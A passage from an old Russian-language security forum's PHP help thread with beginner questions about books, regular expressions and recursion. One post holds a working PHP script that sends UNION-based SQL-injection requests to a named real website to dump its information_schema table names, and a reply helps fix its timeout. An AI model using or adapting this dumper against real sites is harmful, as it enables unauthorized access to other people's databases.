HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #3691  
Старый 24.06.2008, 23:05
n3m0
Участник форума
Регистрация: 11.05.2007
Сообщений: 149
Провел на форуме:
6373157

Репутация: 247
Отправить сообщение для n3m0 с помощью ICQ
По умолчанию

Цитата:
Сообщение от MaTpOc  
Где можно скачать норм учебник по пхп???
(я 0 в пхп)
Мда, как задолбали такие посты. Ну подними глаза. Тут же соседний топик!!! Даже называется: Books PHP

http://forum.antichat.ru/threadnav8721-1-10.html
 
Ответить с цитированием

  #3692  
Старый 25.06.2008, 10:49
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию

Цитата:
Сообщение от FeraS  
MaTpOc
Отбирал самые интересные)
http://aeweb.ru/books/php_book/
Дабавь еще туда "PHP это просто - прграмируем для Web сайта". Очень познавательная книга для новичка(я по ней когда-то учился). Охватывает вопросы работы с файлами, базой данных. Так же рассматриваются CMS. Очень полезная книга - советую!
 
Ответить с цитированием

  #3693  
Старый 25.06.2008, 10:51
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию

Извините за ламерский вопрос:
У меня есть руглярка:
PHP код:
preg_match('/<a>(.*?)<\/a>/',$d,$d); 
Какой оператор мне применить, что бы выхватило только (.*?), без тегов <a></a>?
 
Ответить с цитированием

  #3694  
Старый 25.06.2008, 11:13
Red_Red1
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме:
4608122

Репутация: 874
Отправить сообщение для Red_Red1 с помощью ICQ
По умолчанию

Так оно и будет выхватывать то что в скобках отдельно. Просто обратись к нужно му элементу массива где будет лежать этот карман.
сделай вывод результатов вот так print_r ($d) и увидешь какой тебе нужен элемент.
 
Ответить с цитированием

  #3695  
Старый 25.06.2008, 11:56
inlanger
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме:
3326855

Репутация: 702


По умолчанию

Код:
preg_match_all('#/<a>(.*?)<\/a>/#is',$d,$d,PREG_SET_ORDER);
echo $d[0];
 
Ответить с цитированием

  #3696  
Старый 25.06.2008, 18:52
m0nsieur
Участник форума
Регистрация: 08.04.2008
Сообщений: 242
Провел на форуме:
2230263

Репутация: 229
По умолчанию

Что-то немного подвис на мысли как сохранить массив $result при рекурсивном вызове функции getcurpos, чтобы все значения хранились в нем, а не только последняя выборка.
Ситуация следующая:
PHP код:
class Curpos_m extends Model {
....
    function 
getcurpos($id) {
        
$this->db->select('id, pid, title');
        
$this->db->where('id'$id);
        
$this->db->limit(1);
        
$query $this->db->get('ai_menu_'.$this->table);
        
$data $query->result_array();
        global 
$pid;
        foreach (
$data as $key) {
            
$pid $key['pid'];
        }
        
$result[$pid] = $data;
        if(
$pid != -1) {
            
$this->getcurpos($pid);
        } else {
            return 
$result;
        }
    }

 
Ответить с цитированием

  #3697  
Старый 25.06.2008, 18:57
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

Или пересмотри саму функцию, например делай дополнение в массив, после рекурсивного вызова в этой же функции,
Или делай массив $result - СТАТИЧЕСКИМ
 
Ответить с цитированием

  #3698  
Старый 25.06.2008, 21:44
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

вопрос появился.. пишу дампер таблички information_schema.tables...
PHP код:
<?php
$host 
'www.llewellyn.com';

$fp fsockopen($host80$errno$errstr30);
$pos 0;
$pos1 0;
$i1 131;
$tableName '';
if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
    exit;
}
    for (
$i=1$i<$i1;$i++) {
    
$out 'GET  /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_schema,0x2e,table_name,0x3a7c3a7c),5,null,null,null,9,10,11,12+from+information_schema.tables+limit+'.$i.',1/*'." HTTP/1.1\r\n";
    
$out .= "Host: ".$host."\r\n";
    
$out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
    
$out .= "Connection: Close\r\n\r\n";

    while (!
feof($fp)) 
        {
    
$packet fgets($fp);
    
fwrite($fh,$packet);
        
$pos strpos($packet,'|:|:');
    
$pos1 strpos($packet,':|:|');
    
$tableName substr($packet$pos+4$pos1 $pos 4);
    if ((
$pos) and ($pos1))
        { 
        echo 
" pos: $pos\n pos1: $pos1\n table name: $tableName\n";
        }
        }
    
$out '';
}

    
fclose($fp);
?>
появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)

Последний раз редактировалось gisTy; 25.06.2008 в 23:11..
 
Ответить с цитированием

  #3699  
Старый 26.06.2008, 00:45
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

C циклом всё ок! У меня вот что: Fatal error: Maximum execution time of 30 seconds exceeded
 
Ответить с цитированием

  #3700  
Старый 26.06.2008, 01:12
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Значит за 30 секунд цикл не успевает сделать 131 запрос к серверу, убирай ограничение на время выполнения скрипта

set_time_limit(0);
ini_set("max_execution_time",0);
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ